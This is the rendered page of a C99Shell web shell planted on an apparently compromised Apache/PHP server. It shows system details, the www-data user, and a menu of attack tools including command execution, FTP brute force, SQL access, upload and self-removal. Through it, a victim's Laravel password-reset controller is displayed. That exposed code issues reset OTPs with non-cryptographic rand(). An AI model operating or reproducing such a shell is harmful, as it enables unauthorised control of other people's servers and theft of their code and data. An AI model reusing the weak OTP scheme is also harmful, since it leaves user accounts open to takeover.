!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Http/Controllers/Customer/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ForgotPasswordController.php (2.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;
use 
Auth;
use 
Password;
use 
Illuminate\Http\Request;
use 
App\Http\Controllers\Controller;
use 
Illuminate\Foundation\Auth\SendsPasswordResetEmails;
use 
App\Models\Customer;
use 
Session;
use 
App\Mail\Sendotp;
use 
Illuminate\Support\Facades\Mail;
class 
ForgotPasswordController extends Controller
{
    use 
SendsPasswordResetEmails;

    
/**
     * Only guests for "admin" guard are allowed except
     * for logout.
     * 
     * @return void
     */
    
public function __construct()
    {
        
$this->middleware('guest');
    }

    
/**
     * Show the reset email form.
     * 
     * @return \Illuminate\Http\Response
     */
    
public function showLinkRequestForm(){
        
// return view('auth.passwords.email',[
        //     'title' => 'Admin Password Reset',
        //     'passwordEmailRoute' => 'admin.password.email'
        // ]);

        
return view('auth.customer.passwords.email');
    }

    
/**
     * password broker for admin guard.
     * 
     * @return \Illuminate\Contracts\Auth\PasswordBroker
     */
    
public function broker(){
        return 
Password::broker('customers');
    }

    
/**
     * Get the guard to be used during authentication
     * after password reset.
     * 
     * @return \Illuminate\Contracts\Auth\StatefulGuard
     */
    
public function guard(){
        return 
Auth::guard('customers');
    }

    public function 
sendResetOtp(Request $request)
    {
       
Session::forget('customer_info');
       
$creator_id=domain_info('user_id');
       
$customer=Customer::where([['email',$request->email],['created_by',$creator_id]])->first();
       if(empty(
$customer)){
        return 
redirect()->back()->with('error','We can\'t find a user with that email address.');
       }

       
$userInfo['id']=$customer->id;
       
$userInfo['otp']=rand(2000,1000000);

       
Session::put('customer_info',$userInfo);
        
$data = [
            
'name' => $customer->name,
            
'email' => $customer->email,
            
'otp' => $userInfo['otp']
        ];
        
Mail::to($customer->email)->send(new Sendotp($data));

       return 
redirect('/user/password/otp')->with('success','We sent an otp code on your mail'); 
    }

    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--